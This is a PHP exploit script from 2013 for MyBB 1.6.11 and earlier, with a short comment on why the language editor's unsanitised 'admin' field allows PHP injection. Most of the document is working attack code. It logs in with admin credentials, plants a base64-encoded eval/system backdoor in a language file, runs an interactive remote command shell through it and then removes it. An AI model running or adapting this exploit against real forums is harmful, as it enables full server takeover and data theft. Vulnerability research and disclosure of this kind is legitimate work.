1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 |
<?php # Exploit Title: MyBB <= 1.6.11 Remote Code Execution Using Admin Privileges # Date: 30/11/2013 # Exploit Author: BlackDream # Vendor Homepage: www.mybb.com # Software Link: http://www.mybb.com/download/latest # Version: <= 1.6.11 # Tested on: Linux # Thanks to: www.p0wnbox.com /* Ok guys here we are. In older versions of MyBB it was possible to execute PHP Code by injecting the php code into a template file. This bug has been fixed in the latest version of MyBB and the code execution is no more possible following this way. However there is a little bug in the language editor section. In the Language Editor Section if you go at "Edit Language Pack Properties" of any language you will see an option called "Contains Admin CP language variables? *". This setting is not being sanitized properly and if we post different data other than 1-0 we can write PHP code in the language file and execute it. Lets see deeper the code: File /admin/modules/config/languages.php: Lines 44-49 foreach($mybb->input['info'] as $key => $info) { $info = str_replace("\\", "\\\\", $info); $info = str_replace('$', '\$', $info); $newlanginfo[$key] = str_replace("\"", '\"', $info); } and Line 69: \$langinfo['admin'] = {$newlanginfo['admin']}; You can see that some chars are being replaced , however MyBB treats the variable $newlanginfo['admin'] as integer. So we can execute PHP code by just writing the function name on it. Below is a very simple exploit that does that job for you. Remember that you need the admin credentials to do that. */ echo "#######################################################################\n"; echo "# MyBB <= 1.6.11 Remote Code Execution Using Admin Privileges #\n"; echo "#By BlackDream @ p0wnbox.com#\n"; echo "#######################################################################\n\n"; if ( ! $argc ) { exit( "You can't run this script from your browser" ); } elseif ( $argc != 4 ) { die( "Example Usage: php " . basename( __file__ ) . " <mybb_forum> <username> <password>\n\nProvide the myBB forum URL WITHOUT the admin panel directory\n" ); } $url = $argv[1]; $username = $argv[2]; $password = $argv[3]; //Is this URL A Valid MyBB Forum? std_echo( "Validate URL...", "*" ); if ( ! ValidateMyBB( $url ) ) { std_echo( "Couldn't Validate URL", "-" ); exit( 1 ); } //Login std_echo( "Logging In...", "*" ); if ( ! login( $username, $password ) ) { std_echo( "Couldn't Login", "-" ); exit( 1 ); } std_echo( "Working...", "*" ); $key = md5( uniqid( rand(), true ) ); //generate a unique key to prevent all the others $vars_to_post = get_posted_vars( true, $key ); do_backdoor( $vars_to_post ); do { echo "shell(AV: exit)> "; $command = get_input(); $command_enc = base64_encode( $command ); echo file_get_contents( $url . "/inc/languages/english.php?key=$key&exploited=$command_enc" ); } while ( $command != "exit" ); //remove our backdoor $vars_to_post = get_posted_vars( false ); do_backdoor( $vars_to_post ); function get_input() { $input = trim( fgets( STDIN, 255 ) ); return $input; } function do_backdoor( $vars_to_post ) { global $url; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url . '/admin/index.php?module=config-languages&action=edit_properties' ); curl_setopt( $ch, CURLOPT_POST, 1 ); curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $vars_to_post ) ); curl_setopt( $ch, CURLOPT_COOKIEFILE, 'cookie.txt' ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); $source = curl_exec( $ch ); } function get_posted_vars( $do_backdoor, $key = '' ) { global $url; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url . '/admin/index.php?module=config-languages&action=edit_properties&lang=english' ); curl_setopt( $ch, CURLOPT_COOKIEFILE, 'cookie.txt' ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); $source = curl_exec( $ch ); $vars_to_post = array(); if ( preg_match( "/<input type=\"hidden\" name=\"my_post_key\" value=\"(.*?)\" \/>/", $source, $matches ) ) { $vars_to_post['my_post_key'] = $matches[1]; $vars_to_post['lang'] = "english"; $vars_to_post['info[author]'] = "MyBulletinBoard"; $vars_to_post['info[website]'] = "http://www.mybb.com"; $vars_to_post['info[author]'] = "MyBulletinBoard"; $vars_to_post['info[version]'] = "1610"; $vars_to_post['info[name]'] = "English (American)"; $vars_to_post['info[htmllang]'] = "en"; $vars_to_post['info[charset]'] = "UTF-8"; $vars_to_post['info[rtl]'] = "0"; $vars_to_post['info[admin]'] = 1; //generating UNIQUE MD5 if ( $do_backdoor ) { $payload = 'if(isset($_GET["exploited"]) && $_GET["key"] == "' . $key . '") { system(base64_decode($_GET["exploited"])); }'; $payload = base64_encode( $payload ); $vars_to_post['info[admin]'] = "eval(base64_decode('$payload'))"; } return $vars_to_post; } return false; } function login( $username, $password ) { global $url; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url . "/admin/index.php" ); curl_setopt( $ch, CURLOPT_POST, 1 ); curl_setopt( $ch, CURLOPT_POSTFIELDS, 'username=' . $username . '&password=' . $password . "&do=login" ); curl_setopt( $ch, CURLOPT_COOKIEJAR, 'cookie.txt' ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); $source = curl_exec( $ch ); return strpos( $source, 'Logged in as' ); } function ValidateMyBB( $url ) { $source = @file_get_contents( $url . "/admin/" ); if ( $source ) { return stripos( $source, "MyBB Control Panel" ); } return false; } function std_echo( $message, $ch ) { echo "[$ch] $message\n"; } ?> |